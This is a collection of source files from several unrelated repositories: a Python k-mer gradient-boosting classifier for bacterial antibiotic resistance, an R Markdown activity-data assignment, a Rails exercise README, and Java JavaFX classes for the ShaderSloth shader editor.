ls_params[1]) ax = sns.heatmap(self.pvt) ax.set(ylabel=ls_params[0], xlabel=ls_params[1]) ax.figure.savefig(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}_gridCV_heatmap.png")) def plot_boosting_learning_curve(self, X_test, y_test): """ Plot boosting learning curve (test/train deviance = f (n_estimator) ) Args: X_test: input data matrix y_test: ground truth vector """ if cfg.model == "gradient": test_score = np.zeros((self.cv_clf.best_params_["n_estimators"],), dtype=np.float64) for i, y_pred in enumerate(self.cv_clf.best_estimator_.staged_predict(X_test)): test_score[i] = self.cv_clf.best_estimator_.loss_(y_test, y_pred) sns.set() fig = plt.figure(figsize=(6, 6)) plt.subplot(1, 1, 1) plt.title(cfg.xp_name + " // ROC AUC = " + str(self.score)) plt.plot(np.arange(self.cv_clf.best_params_["n_estimators"]) + 1, self.cv_clf.best_estimator_.train_score_, "b-", label="Training Set Deviance") plt.plot(np.arange(self.cv_clf.best_params_["n_estimators"]) + 1, test_score, "r-", label="Test Set Deviance") plt.legend(loc="upper right") plt.xlabel("Boosting Iterations") plt.ylabel("Deviance") fig.tight_layout() plt.savefig(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}boosting_learning_curve.png")) def run(self): """ Run method to wrap the class methods, train and optionnaly test the model in batch settings """ self.preprocess_y() X_train, X_test, y_train, y_test = self.split_train_test() # X_train, X_test = self.chi2_feature_selection(X_train, X_test, y_train) self.fit(X_train, y_train) #tres = self.get_accuracy_treshold(X_train, y_train) if cfg.dtype == 'df': y_predict = self.predict(X_test) self.evaluate_and_write_report(y_predict, y_test, tres) self.plot_CV_heatmap() self.plot_boosting_learning_curve(X_test, y_test) with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}_CVresults.pkl"), "wb") as f: pickle.dump( {"classifier": self.cv_clf, "features": self.kmer_to_index, "y_pred": y_predict, "y_true": y_test}, f, protocol=4) class NN_model(object): """ Work in progress: neural network for end classification, because it's nice, and also in order to wrap different input datas of different sources in an architecture. """ def __init__(self): return def create_model(self, X_train): import tensorflow as tf # Complete version model = tf.keras.Sequential([ tf.keras.layers.InputLayer(input_shape=(X_train.shape[1],)), # Input Layer tf.keras.layers.Dense(64, activation='relu'), # Hidden Layer tf.keras.layers.Dense(1)]) # Output # Optional (easy) # Here the InputLayer will be generated automatically # model = tf.keras.Sequential([ # tf.keras.layers.Dense(64, activation='relu', input_shape=(X_train.shape[1],)), # Hidden Layer # tf.keras.layers.Dense(1)]) # Output # Compiling our model model.compile(loss='mse', optimizer=tf.keras.optimizers.RMSprop(), metrics=['mae']) # Summary model.summary() return model def fit(self, model, X_train, y_train): model.fit(X_train, y_train, epochs=110, verbose=2) loss, mae = model.evaluate(X_val, y_val, verbose=2) y_pred = model.predict(X_test).flatten() #what is flatten return model class Test_streaming(object): """ Test in stream settings Also optionally prune the classifier discarding trees that use """ def __init__(self, kmer_to_index=None, clf=None, batchsize=10): self.batchsize = 1 self.testdir = os.path.join(cfg.pathtodata, cfg.testdir) self.kmer_to_index = kmer_to_index try: self.clf = clf.best_estimator_ except Exception as e: print(e) self.clf = clf self.pathtotemp = os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, "test-temp") self.pathtosave = os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, "test-output") if not (os.path.isdir(self.pathtotemp) and os.path.isdir(self.pathtosave)): mkdirCmd = "mkdir %s" % (self.pathtotemp) os.system(mkdirCmd) mkdirCmd = "mkdir %s" % (self.pathtosave) os.system(mkdirCmd) def create_sparse_coos(self, cols, rows, datas, col, row, data): """ Extend existing list of coordinates with new coordinates corresponding to the kmers counts of the current file """ cols.extend(col) rows.extend(row) datas.extend(data) return cols, rows, datas def prune_boosting(self): """ Prune boosting according to the kmer redundancy: if two very redundant kmers are used for the prediction: prune one of the two trees of depth=1 with the least importance """ import difflib # Select index of redundant kmers with lower importances ls_index = [] featimp = self.clf.feature_importances_ kmers = [list(self.kmer_to_index.keys())[i] for i in np.nonzero(featimp)[0]] imps = [featimp[i] for i in np.nonzero(featimp)[0]] index = [i for i in np.nonzero(featimp)[0]] for kmer1, imp1, ind1 in zip(kmers, imps, index): for kmer2, imp2, ind2 in zip(kmers, imps, index): similarity = difflib.SequenceMatcher(None, kmer1, kmer2).ratio() if similarity > cfg.pruning_tresh and kmer1 != kmer2: if imp1 > imp2: ls_index.append(ind2) elif imp2 > imp1: ls_index.append(ind1) return list(set(ls_index)) # list of redundant kmer indexes def predict_pruned(self, X_test, ls_index): """ Predict using only trees retained by the method prune boosting Args: X_test: input data matrix ls_index: list of trees index to use for pruned prediction Returns: prediction vector """ cumpred = np.array([x for x in self.clf.staged_decision_function(X_test)])[:, :, 0] preds_out = cumpred[-1, :] for i in ls_index: # i can't be 0 but who would prune first tree of boosting preds_out = preds_out - (cumpred[i - 1, :] - cumpred[i, :]) return preds_out def populate_sparse_matrix(self, cols, rows, datas, batchsize=1): """ Create a sparse matrix using coordinate vectors Args: cols: coordinate vector rows: coordinate vector datas: data vector batchsize """ X_test = sp.csr_matrix((datas, (rows, cols)), shape=(batchsize, len(self.kmer_to_index)), dtype=np.int16) return X_test def append_prediction(self, X_test, y_preds, y_pruned, y_test, ls_index, y): """ Predict and append predictions to prediction vectors Args: X_test: input data matrix y_preds: prediction list y_pruned: pruned prediction list y_test: ground truth list ls_index: list of trees index to use for pruned prediction y: labels of the current batch Returns: y_preds, y_pruned, y_test """ y_preds.extend(self.clf.predict(X_test)) # y_pruned.extend(self.predict_pruned(X_test, ls_index)) y_test.append(y) return y_preds, y_pruned, y_test def parse_and_map_kmers(self, fastaname, batchnumber): """ Parse kmers_count using dsk and "get_kmer_counts" method and map them to the correct coordinates using the "map_data_to_coords" method Args: fastaname: path to the fasta file batchnumber: iteration counter of the current batch Returns: coordinates lists, label """ self.parse_kmers_dsk(fastaname) #y = fastaname[:5] y = self.get_label_from_csv_metadata(fastaname[:-3]) print(y) kmer_count = self.get_kmer_counts(fastaname) col, row, data = self.map_data_to_coords(kmer_count, batchnumber) return col, row, data, y def get_label_from_csv_metadata(self, strain): """ Get label from csv metadata TODO: pass parameters for col, metadata_path Args: strain: strainID Returns: label """ # df = pd.read_excel('/home/ylucas/Bureau/SP_strains_metadata.xlsx') df = pd.read_excel('/scratch/MAGITICS_data/Streptococcus_pneumoniae/SP_strains_metadata.xlsx') row=np.where(df.values==strain)[0] return df['Penicillin'].values[row] def get_kmer_counts(self, kmercountfile): """ Parse kmer_counts from the kmercountfile generated using dsk Args: kmercountfile: pathtokmercountfile Returns: kmer_count dict: {kmer1:count, kmer2: count, ...} """ kmer_count = {} with open(os.path.join(self.pathtosave, kmercountfile), "r") as fasta: lines = fasta.readlines() for line in lines: try: [ID, count] = line.split(" ") kmer_count[str(ID)] = int(count) except: print('line = {0}'.format(line)) return kmer_count def map_data_to_coords(self, kmer_count, batchnumber): """ Iterate over kmer_count dict to fill coordinates vector Args: kmer_count: dict {kmer1:count, kmer2: count, ...} batchnumber: iteration counter of the current batch Returns: coordinate lists """ row = [] data = [] column = [] for kmer in kmer_count: try: column.append(self.kmer_to_index[kmer]) row.append(batchnumber) if cfg.kmer_count == 1: data.append(kmer_count[kmer]) else: data.append(1) except: self.missing_kmers.append(kmer) return column, row, data def parse_kmers_dsk(self, fastaname): """ Create a kmercount file using the command line software dsk Args: fastaname: path to the fasta file """ kmerCmd = "dsk -file %s -out %s -kmer-size %d -abundance-min 1 -verbose 0" % ( os.path.join(self.testdir, fastaname), os.path.join(self.pathtotemp, fastaname), cfg.len_kmers) os.system(kmerCmd) outputCmd = "dsk2ascii -file %s -out %s" % ( os.path.join(self.pathtotemp, fastaname), os.path.join(self.pathtosave, fastaname)) os.system(outputCmd) def adapted_accuracy(self, y_test, y_preds, tres): """ Predict accuracy score with respect to a pre-calculated treshold Args: y_test: ground truth vector y_preds: prediction vector tres: treshold Returns: adapted accuracy score """ y_preds_adapted = [] for pred in y_preds[:, -1]: if pred > float(tres): y_preds_adapted.append(1.0) else: y_preds_adapted.append(0.0) score = metrics.accuracy_score(y_test, y_preds_adapted) print(score) return score def evaluate_and_write_report(self, y_preds, y_test, tres=None, pruned=False): """ Compute several evaluation metrics and save them in a score dictionary, then write report containing prediction parameters and scores. Args: y_preds: prediction vector y_test: ground truth vector tres: adated accuracy treshold pruned: indicator if we are in a pruned setting or not """ score = {} #print(y_test) #print(y_preds) for ytest, ypred in zip(y_test, y_preds): print(str(ytest[0])+'\t'+str(ypred)) #score["ROC_AUC"] = metrics.roc_auc_score(y_test, y_preds[:, -1]) #if tres==None: # with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}_tres_value.txt"), "r") as f: # tres = f.readlines()[0] #score["Accuracy"] = self.adapted_accuracy(y_test, y_preds, tres) #score["Accuracy"] = metrics.accuracy_score(y_test, y_preds[:, -1].round()) score["MAE"] = metrics.mean_absolute_error(y_test, y_preds[:, -1]) score["MSE"] = metrics.mean_squared_error(y_test, y_preds[:, -1]) #score["MAPE"] = metrics.mean_absolute_percentage_error(y_test, y_preds[:,-1]) #print("*** ROC AUC = ***") #print(score["ROC_AUC"]) self.write_report(pruned, score) return score def write_report(self,score, pruned=False): """ Write report containing prediction parameters and scores Args: score: dict containing evaluation metrics values pruned: indicator if we are in a pruned setting or not """ with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}_report.txt"), "a") as txt: if pruned: txt.write('PRUNED' + "\n\n") txt.write(cfg.xp_name + "/" + cfg.id + "\n\n") txt.write(str(score) + "\n") txt.write("Len_kmers = " + str(cfg.len_kmers) + "\n") txt.write("Model = " + str(self.clf) + "\n") # txt.write("Best_params = "+str(self.clf.best_params_)+"\n") # txt.write("Param_grid = " + str(self.param_grid) + "\n") # txt.write("best params = " + str(self.clf.best_params_)+'\n') txt.write("\n Relevant kmers : \n") if cfg.model == "rf" or cfg.model == "gradient": featimp = self.clf.feature_importances_ kmers = [list(self.kmer_to_index.keys())[i] for i in np.nonzero(featimp)[0]] for kmer in kmers: txt.write(str(kmer) + "\n") def clean_temp_directories(self): """ Delete the intermediate file that were created during the command line call of the kmer-parser """ cleankmertempcmd = "rm -rf %s" % (self.pathtotemp) os.system(cleankmertempcmd) cleantempcmd = "rm -rf %s" % (self.pathtosave) os.system(cleantempcmd) def run(self): """ Run method to wrap the class methods and test in stream settings """ self.missing_kmers = [] files = [file for file in os.listdir(self.testdir)] remaining = len(files) fileindex = 0 y_test = [] y_preds = [] y_pruned = [] ls_index = self.prune_boosting() while remaining > 0: batchiter = 0 batch = min(remaining, self.batchsize) for file in files[fileindex: fileindex + batch]: cols = [] rows = [] datas = [] col, row, data, y = self.parse_and_map_kmers(file, batchiter) cols, rows, datas = self.create_sparse_coos(cols, rows, datas, col, row, data) #y = file[:5] batchiter += 1 remaining -= 1 X_test = self.populate_sparse_matrix(cols, rows, datas, batchiter) try: y_preds, y_pruned, y_test = self.append_prediction(X_test, y_preds, y_pruned, y_test, ls_index, y) except Exception as e: print('exception') print(e) fileindex += batch y_preds = np.vstack(y_preds) #le = preprocessing.LabelEncoder() #y_test = le.fit_transform(y_test) score=self.evaluate_and_write_report(y_preds, y_test) print(ls_index) with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}_CVresults.pkl"), "wb") as f: pickle.dump({"classifier": self.clf, "features": self.kmer_to_index, "y_pred": y_preds, "y_pruned": y_pruned, "y_true": y_test, "score": score}, f, protocol=4) self.clean_temp_directories() # train=Train_kmer_clf() # train.run() # # # #with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f'{cfg.model}_CVresults.pkl'), 'rb') as f: # # dic=pickle.load(f) # #test=Test_streaming(batchsize=1, kmer_to_index=dic['features'], clf=dic['classifier']) # test = Test_streaming(batchsize=1, kmer_to_index=train.kmer_to_index, clf=train.cv_clf) # test.run() ```
yvanstpierre/RepData_PeerAssessment1
yvanstpierre/RepData_PeerAssessment1 PA1_template.md ```Reproducible Research: Peer Assessment 1 ======================================================== ## Loading and preprocessing the data In this first step, the zipped csv file included in the current repository (*"activity.csv"*) is loaded, and the date field is formatted for later use of *weekdays()* function. Options are also set for numerical outputs in the text, i.e. means and medians, to appear in fixed rather than scientific format. ```r options(scipen = 1) pa1data <- read.csv(unz("activity.zip", "activity.csv"), colClasses = c("numeric", "Date", "integer")) ``` ## What is mean total number of steps taken per day? For this part of the project, the totals per day are computed using the *tapply* command, and stored in a vector named *pa1perday*. A histogram is then produced, with frequencies on the y axis, i.e. number of days, by total number of steps per day on the x axis. ```r pa1perday <- with(pa1data, tapply(steps, date, sum)) hist(pa1perday, main = "Histogram of total steps per day", xlab = "Total steps per day", ylab = "Number of days") ``` ![plot of chunk totalhist](figure/totalhist-1.png) Next, the summary function is called to compute the mean and median values, which are then reported both as output of the code chunk and as inline text computations in the following lines of text. ```r pa1sum <- summary(pa1perday) pa1sum[c(3,4)] ``` ``` ## Median Mean ## 10760 10770 ``` The mean total number of steps taken per day is 10760 and the median total number is 10770. ## What is the average daily activity pattern? This time, the average number of steps per 5-minute interval is computed with the function *aggregate()*, producing the data frame called *pa1perint*. Missing values are excluded from the calculations. Then, a time series plot is created for average steps on the y axis per 5-minute intervals on the x axis. ```r pa1perint <- aggregate(steps ~ interval, pa1data, mean, na.rm = TRUE) plot(pa1perint$interval, pa1perint$steps, type="l", main = "Time-series plot of average steps per 5-minute interval", xlab = "5-minute intervals", ylab = "Average number of steps") ``` ![plot of chunk interplot](figure/interplot-1.png) And now, the 5-minute interval where the maximum average number of steps were taken is identified, again both as R code output and inline in the text. ```r maxint <- pa1perint$interval[which.max(pa1perint$steps)] maxint ``` ``` ## [1] 835 ``` The 5-minute interval where the maximum number of steps was taken on average was the interval 835. ## Imputing missing values Here we start by finding the number of rows of data with missing values in the original data. It is again reported both as R output and inline as text. ```r nasum <- sum(is.na(pa1data$steps)) nasum ``` ``` ## [1] 2304 ``` The number of rows with missing value in the original data is 2304. Next, we impute the average steps per 5-minute interval for each missing value. This is done by merging the averages stored in the data frame created for the previous section with the original data, on the 5-minute intervals, and then replacing the missing values with the corresponding average. Note that the column name for average steps is changed, to keep the resulting names as in the original data, and the added column is dropped once the missing values are replaced, so that the new dataset is equal to the original, except for the missing values replaced. ```r colnames(pa1perint)[2] <- "meansteps" pa1impd <- merge(pa1data, pa1perint, by = "interval") pa1impd$steps[is.na(pa1impd$steps)] <- pa1impd$meansteps[is.na(pa1impd$steps)] pa1impd <- pa1impd[, 1:4] ``` With this new data, we replicate the work done in the first section, to produce the corresponding histogram, and calculate and report the mean and median total number of steps taken in each day (in R output and inline). ```r pa1impday <- with(pa1impd, tapply(steps, date, sum)) hist(pa1impday, main = "Histogram of total steps per day", xlab = "Total steps per day", ylab = "Number of days") ``` ![plot of chunk imputedhist](figure/imputedhist-1.png) ```r pa1impsum <- summary(pa1impday) pa1impsum[c(3,4)] ``` ``` ## Median Mean ## 10770 10770 ``` The mean total number of steps taken per day is 10770 and the median total number is 10770. As we can see, the middle bin of the histogram now includes the days where the missing values were replaced with the averages across all days. As is to be expected, the mean total number of steps remains the same, since missing values were replaced for entire days with the average data, and the median moved to be equal to the mean, as the median observation is now one of the days where missing values were replaced by the average values. ## Are there differences in activity patterns between weekdays and weekends? For this last section of the assessment, we first create a new factor variable, called *daytype*, and compute averages of steps take per *interval* and *daytype* to produce the data frame *pa1impint*. This is then used to create a 2-panel time series plot, using the lattice package. Note that a warning message is issued when the package is loaded. ```r pa1impd$daytype <- as.factor(ifelse(weekdays(pa1impd$date) %in% c("Saturday","Sunday"), "weekend", "weekday")) pa1impint <- aggregate(steps ~ interval + daytype, pa1impd, mean) library(lattice) xyplot(steps ~ interval | daytype, pa1impint, type = "l", layout = c(1,2), xlab = "Interval", ylab = "Number of steps") ``` ![plot of chunk imputedplot](figure/imputedplot-1.png) ```
yvesen/git-exercise
yvesen/git-exercise README.md ```# README git clone https://github.com/yvesen/git-exercise.git cd git-exercise bundel install rails db:migrate rails db:seed ```
yveskaufmann/shader-sloth
yveskaufmann/shader-sloth ShaderTemplateHelper.java ```package eu.yvka.shadersloth.app.materialEditor.shaders; import eu.yvka.shadersloth.share.I18N.I18N; import eu.yvka.slothengine.shader.Shader; import eu.yvka.slothengine.shader.ShaderManager; import eu.yvka.slothengine.shader.ShaderType; import eu.yvka.slothengine.shader.source.FileShaderSource; import eu.yvka.slothengine.shader.source.ShaderSource; import eu.yvka.slothengine.engine.Engine; import javafx.scene.control.Alert; import javafx.scene.control.ButtonType; import org.apache.commons.io.IOUtils; import java.io.*; import java.nio.file.CopyOption; import java.nio.file.Files; import java.nio.file.attribute.FileAttribute; import java.util.Optional; import static eu.yvka.shadersloth.share.I18N.I18N.getString; import static java.nio.file.StandardCopyOption.*; /** * Allows it to create template shader files, * which are will be used when a new material is generated. * * @author Yves Kaufmann * @since 26.07.2016 */ public class ShaderTemplateHelper { public static Shader createShader(File baseFolder, String name) { return createShader(baseFolder, name, false); } public static Shader createShader(File baseFolder, String name, boolean alwaysOverwrite) { final ShaderManager shaderManager = Engine.shaderManager(); final File vertexShaderFile = new File(baseFolder, shaderManager.toShaderFileName(name, ShaderType.VERTEX)); final File fragmentShaderSource = new File(baseFolder, shaderManager.toShaderFileName(name, ShaderType.FRAGMENT)); // Ensure shader only will be overwritten if the user confirms this action if ((vertexShaderFile.exists() || fragmentShaderSource.exists()) && !alwaysOverwrite) { Alert alert = new Alert(Alert.AlertType.CONFIRMATION); alert.setHeaderText(getString("material.overwrite.dlg.title", name)); alert.setContentText(getString("material.overwrite.dlg.content", name)); Optional<ButtonType> buttonTypeOptional = alert.showAndWait(); if (!buttonTypeOptional.isPresent() || !buttonTypeOptional.get().equals(ButtonType.YES)) { return null; } } final Shader template = shaderManager.getShader("Default"); try { File defaultVertexShaderFile = shaderManager.toShaderFile(new File(ShaderManager.ASSET_PATH), "Default", ShaderType.VERTEX); File defaultFragmentShaderFile = shaderManager.toShaderFile(new File(ShaderManager.ASSET_PATH), "Default", ShaderType.FRAGMENT); vertexShaderFile.getParentFile().mkdirs(); fragmentShaderSource.getParentFile().mkdirs(); Files.copy(defaultVertexShaderFile.toPath(), vertexShaderFile.toPath(), REPLACE_EXISTING); Files.copy(defaultFragmentShaderFile.toPath(), fragmentShaderSource.toPath(), REPLACE_EXISTING); } catch (IOException e) { e.printStackTrace(); } final ShaderSource vertexSource = new FileShaderSource(ShaderType.VERTEX, vertexShaderFile); final ShaderSource fragmentSource = new FileShaderSource(ShaderType.FRAGMENT, fragmentShaderSource); final Shader shader = new Shader(name); shader.addSource(vertexSource); shader.addSource(fragmentSource); return shader; } } ``` README.md ```[![Build Status](https://travis-ci.org/yveskaufmann/shader-sloth.svg?branch=master)](https://travis-ci.org/yveskaufmann/shader-sloth) # ShaderSloth ShaderSloth allows it to create and play with [GLSL](https://www.opengl.org/documentation/glsl/) shaders without programming any line of OpenGL code. It is the result of a assignment for the university. ![alt text](screenshots/shaderSloth_01.png "GUI - ShaderSloth") These features are currently provided: * [x] scene creation * [x] simple shader/material editor * [x] shader render-view with instant feedback * [ ] texture support (already supported in the engine) * [ ] multiple pass rendering (already supported in the engine) * [ ] glsl autocomplete Requirements ------------ - [JDK](http://www.oracle.com/technetwork/java/javase/downloads/index.html) >= 8u91 - [Apache Maven](https://maven.apache.org/) >= 3.0 - A GPU which supports at least OpenGL 3.x Building -------- In order to build ShaderSloth it is required that [Apache Maven > 3.0](https://maven.apache.org/) and a [JDK >= 8u91](http://www.oracle.com/technetwork/java/javase/downloads/index.html) is already installed on your computer. TPlease consults the corresponding documentation for the specific installation instructions. ## Build Steps ### 1) Check-Out Sloth-Engine ```bash cd shader-sloth git clone https://github.com/yveskaufmann/sloth-engine ``` ### 2) Build Sloth-Engine ```bash cd sloth-engine git checkout develop mvn install ``` ### 3) Build Shader-Sloth ```bash cd shader-sloth mvn package -DskipTests ``` ``` StringConverters.java ```package eu.yvka.shadersloth.app.model; import javafx.util.StringConverter; /** * @Author Yves Kaufmann * @since 11.07.2016 */ public class StringConverters { public static <T> StringConverter<T> forTXSemanticTag() { return new StringConverter<T>() { @Override public String toString(T tag) { return tag == null ? "" : tag.toString(); } @Override public T fromString(String string) { throw new UnsupportedOperationException("not yet implemented"); } }; }; } ``` ViewContext.java ```package eu.yvka.shadersloth.share.context; import eu.yvka.shadersloth.share.controller.AbstractController; import eu.yvka.shadersloth.share.controller.ControllerMeta; import javafx.scene.Parent; public class ViewContext<T extends AbstractController> extends AbstractContext { /** * Property for the associated controllers. */ public static final String PROPERTY_CONTROLLER = "controllers"; private Parent rootNode; private T controller; private ControllerMeta meta; public ViewContext(T controller, Parent rootNode, ControllerMeta meta) { this.controller = controller; this.rootNode = rootNode; this.meta = meta; } public ApplicationContext getApplicationContext() { return ApplicationContext.get(); } public T getController() { return controller; } public Parent getRootNode() { return rootNode; } public ControllerMeta getMeta() { return meta; } } ``` LightCreateDialog.java ```package eu.yvka.shadersloth.app.sceneEditor; import eu.yvka.shadersloth.app.App; import eu.yvka.shadersloth.app.controls.MessageBanner; import eu.yvka.shadersloth.app.controls.validation.Validations; import eu.yvka.slothengine.geometry.primitives.Cube; import eu.yvka.slothengine.geometry.primitives.Sphere; import eu.yvka.slothengine.scene.Geometry; import eu.yvka.slothengine.scene.light.AmbientLight; import eu.yvka.slothengine.scene.light.Light; import eu.yvka.slothengine.scene.light.PointLight; import javafx.beans.value.ObservableValue; import javafx.event.ActionEvent; import javafx.geometry.HPos; import javafx.geometry.Pos; import javafx.scene.control.*; import javafx.scene.image.ImageView; import javafx.scene.layout.ColumnConstraints; import javafx.scene.layout.GridPane; import javafx.scene.layout.VBox; import javafx.stage.FileChooser; import javafx.util.converter.NumberStringConverter; import org.controlsfx.control.textfield.TextFields; import org.controlsfx.validation.ValidationSupport; import java.io.File; import java.text.NumberFormat; import java.util.Arrays; import java.util.Collection; import static eu.yvka.shadersloth.share.I18N.I18N.getString; public class LightCreateDialog extends Dialog<Light> { enum LightType { Point(getString("light.create.dlg.type.point")), Ambient(getString("light.create.dlg.type.ambient")); LightType(String label) { this.label = label; } String label; @Override public String toString() { return label; } } /****************************************************************************** * * Fields * ******************************************************************************/ private ValidationSupport validationSupport; private MessageBanner messageBanner; /* Basic Dialog */ private FormPane rootGrid; private TextField lightId; private ChoiceBox<LightType> modelTypeChoice; /****************************************************************************** * * Constructors * ******************************************************************************/ public LightCreateDialog() { super(); initialize(); } private void initialize() { setTitle(getString("light.create.dlg.title")); setHeaderText(getString("light.create.dlg.header")); setGraphic(new ImageView(App.class.getResource("images/bulb_icon_32x32.png").toExternalForm())); setResizable(false); messageBanner = new MessageBanner(); String lightIdLabel = getString("light.create.dlg.id.label"); lightId = TextFields.createClearableTextField(); lightId.setPromptText(getString("light.create.dlg.id.prompt")); lightId.setTooltip(new Tooltip(getString("light.create.dlg.id.tooltip"))); String lightTypeLabel = getString("light.create.dlg.type"); modelTypeChoice = new ChoiceBox<>(); modelTypeChoice.setMaxWidth(Double.MAX_VALUE); modelTypeChoice.setTooltip(new Tooltip(getString("light.create.dlg.type.tooltip"))); modelTypeChoice.getItems().addAll(LightType.values()); ColumnConstraints col1 = new ColumnConstraints(); col1.setHalignment(HPos.RIGHT); col1.setMinWidth(50); col1.setPercentWidth(15); ColumnConstraints col2 = new ColumnConstraints(); col2.setHalignment(HPos.LEFT); col2.setPercentWidth(80); col2.setFillWidth(true); ColumnConstraints col3 = new ColumnConstraints(); col3.setHalignment(HPos.LEFT); col3.setPercentWidth(5); rootGrid = new FormPane(); rootGrid.getColumnConstraints().addAll(col1, col2, col3); rootGrid.setAlignment(Pos.CENTER); rootGrid.setHgap(5); rootGrid.setVgap(5); rootGrid.addFormEntry(0, 1, lightIdLabel, lightId); rootGrid.addFormEntry(0, 2, lightTypeLabel, modelTypeChoice); VBox content = new VBox(5, messageBanner, rootGrid); content.setAlignment(Pos.TOP_CENTER); getDialogPane().setContent(content); getDialogPane().getScene().getWindow().sizeToScene(); validationSupport = new ValidationSupport(); validationSupport.registerValidator(lightId, Validations.createEmptyValidator(lightIdLabel)); getDialogPane().getButtonTypes().addAll(ButtonType.CANCEL, ButtonType.OK); Button okButton = (Button) getDialogPane().lookupButton(ButtonType.OK); // Ensure dialog can only submit if input is valid okButton.addEventFilter(ActionEvent.ACTION, event -> { if (validationSupport.isInvalid()) { messageBanner.show(validationSupport); event.consume(); } else { messageBanner.hide(); } getDialogPane().getScene().getWindow().sizeToScene(); }); setResultConverter(buttonType -> { if (buttonType.equals(ButtonType.OK) && modelTypeChoice.getValue() != null) { final String id = this.lightId.getText(); switch (modelTypeChoice.getValue()) { case Point:return new PointLight(id); case Ambient: return new AmbientLight(id); } } return null; }); } } ``` AbstractController.java ```package eu.yvka.shadersloth.share.controller; import eu.yvka.shadersloth.share.I18N.I18N; import eu.yvka.shadersloth.share.context.ViewContext; import eu.yvka.shadersloth.share.utils.ExceptionUtils; import javafx.scene.Parent; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.annotation.PostConstruct; import java.net.URL; import java.util.ResourceBundle; /** * A Controller for a specific view. * A view is a fxml file which is load and initialized by this controllers. * The controllers is responsible to manage the specified view. */ public abstract class AbstractController { /** * The logger for this class */ private Logger Log = LoggerFactory.getLogger(AbstractController.class); /** * The FXML view/file which is related to this controllers */ private URL fxmlFile; /** * The current local Resource Bundle. * The {@link ResourceBundle} contains all locale-specific * texts and strings. */ private ResourceBundle resourceBundle; /** * Context of the controlled view. */ private ViewContext<AbstractController> viewContext; /** * Creates a controllers for the view which is defined * in the fxml file at the specified location. */ public AbstractController(URL location) { this(location, I18N.getResourceBundle()); } /** * <b>This constructor is only for internal use</b> * * Creates a controllers for the view which is defined * in the fxml file at the specified location. And specifies * the {code ResourceBundle} which should be used by the controlled * view. * * @param location * @param resources */ protected AbstractController(URL location, ResourceBundle resources) { this.fxmlFile = location; this.resourceBundle = resources; } /** * Retrieves the root element of the controlled view. * * @return the root element */ public Parent getRoot() { try { return getContext().getRootNode(); } catch (ControllerLoaderException ex) { throw new IllegalStateException("Could not obtain root node of " + getClass().getSimpleName(), ex); } } /** * Provides context information about this controllers. * * @return context about this view object. */ public ViewContext<AbstractController> getContext() throws ControllerLoaderException { if (viewContext == null) { initiateController(); } return viewContext; } /** * Initiate the controllers and load the corresponding fxml file which contains the * view of this controllers. */ @SuppressWarnings("unchecked") protected void initiateController() throws ControllerLoaderException { try { viewContext = ControllerBuilder.getInstance().createBy(this, (Class<AbstractController>) getClass()); } catch (Exception e) { throw new ControllerLoaderException("Failed to initiate " + this.getClass().getSimpleName(), e); } try { onFxmlLoaded(); } catch (Exception ex) { String errorLocation = ExceptionUtils.getFileLocationOfTraceElement(ex, 0); throw new ControllerLoaderException("Error in invoked onFxmlLoaded of " + getClass().getSimpleName() + errorLocation, ex); } } @PostConstruct private void triggerOnFXMLLoaded() { onFxmlLoaded(); } /** * A subclass must implement its view initial logic in this method. * * <p> * Fields which are annotated with {@link javafx.fxml.FXML} are first accessible * while this method is invoked by the {@link AbstractController}. * </p> * * </p> * Called when the fxml file was loaded this is the * equivalent to {@link javafx.fxml.Initializable#initialize(URL, ResourceBundle)}. * <p> * */ abstract protected void onFxmlLoaded(); /** * @return the assigned resource bundle which * is used for the controlled view. * The {@link ResourceBundle} contains all locale-specific * texts and strings. */ ResourceBundle getResourceBundle() { return resourceBundle; } /** * @return the location of the corresponding fxml file. * This contains the view which is controlled by * this controllers. */ URL getLocation() { return fxmlFile; } /** * Will be called before if controllers * is resumed from a pause state. * */ public void onResume() { }; /** * Will be called before a controllers is paused. * */ public void onPause() { } } ``` ShaderErrorTable.java ```package eu.yvka.shadersloth.app.materialEditor.shaders.errors; import eu.yvka.slothengine.shader.Shader; import javafx.scene.control.Label; import javafx.scene.control.TableColumn; import javafx.scene.control.TableView; import javafx.scene.control.cell.PropertyValueFactory; import static eu.yvka.shadersloth.share.I18N.I18N.getString; /** * @author Yves Kaufmann * @since 18.07.2016 */ public class ShaderErrorTable extends TableView<ShaderError> { public ShaderErrorTable() { super(); final Label noErrorLabel = new Label(getString("shader.error.noerrors")); noErrorLabel.setStyle("-fx-font-weight: bold"); setPlaceholder(noErrorLabel); TableColumn<ShaderError, String> descriptionColumn = new TableColumn<>(getString("shader.error.descriptionColumn")); TableColumn<ShaderError, String> shaderColumn = new TableColumn<>(getString("shader.error.shaderColumn")); TableColumn<ShaderError, Integer> locationColumn = new TableColumn<>(getString("shader.error.locationColumn")); descriptionColumn.setCellFactory(ShaderErrorCellFactory::getDescriptionCell); descriptionColumn.setCellValueFactory(new PropertyValueFactory<ShaderError, String >("description")); shaderColumn.setCellValueFactory(new PropertyValueFactory<ShaderError, String>("shaderName")); locationColumn.setCellValueFactory(new PropertyValueFactory<ShaderError, Integer>("lineNumber")); descriptionColumn.prefWidthProperty().bind(widthProperty().multiply(0.6f)); shaderColumn.prefWidthProperty().bind(widthProperty().multiply(0.2f)); descriptionColumn.getStyleClass().add("align-left"); shaderColumn.getStyleClass().add("align-left"); locationColumn.getStyleClass().add("align-left"); getColumns().setAll(descriptionColumn, shaderColumn, locationColumn); } } ``` CellUtils.java ```package eu.yvka.shadersloth.app.controls.cell; import javafx.scene.control.Cell; import javafx.scene.control.TextField; import javafx.scene.input.KeyCode; import javafx.util.StringConverter; import java.util.Objects; /** * @Author Yves Kaufmann * @since 11.07.2016 */ public class CellUtils { /****************************************************************************** * * String Converters * ******************************************************************************/ public static final StringConverter<?> DEFAULT_STRING_CONVERTER = new StringConverter<Object>() { @Override public String toString(Object object) { return object == null ? "" : object.toString(); } @Override public Object fromString(String string) { return (Object) 